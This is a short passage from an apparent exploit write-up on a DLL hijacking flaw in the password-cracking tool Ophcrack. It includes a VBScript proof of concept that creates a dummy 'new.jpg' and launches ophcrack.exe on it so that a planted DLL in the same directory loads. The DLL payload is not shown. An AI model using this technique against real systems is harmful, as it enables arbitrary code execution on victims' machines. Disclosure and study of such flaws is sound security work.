Well as Ophcrack as no extensions associated we have to manually a open a file with 
Ophcrack in a directory with our Dll. To automate this POC be little creative ;)
This is just a small idea which you may probably do better than me.

msg=MsgBox ("Automated POC" & chr(13) & "Coded by Osanda Malith", 64, "Ophcrack Dll Hijacking Exploit")
Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile("new.jpg",2,true)
objFileToWrite.WriteLine("POC by Osanda Malith :D")
objFileToWrite.Close
file = "new.jpg"
Set oShell = CreateObject("WScript.Shell")
' Path to Ophcrack
oShell.Run """%ProgramFiles(x86)%\ophcrack\ophcrack.exe """ & file
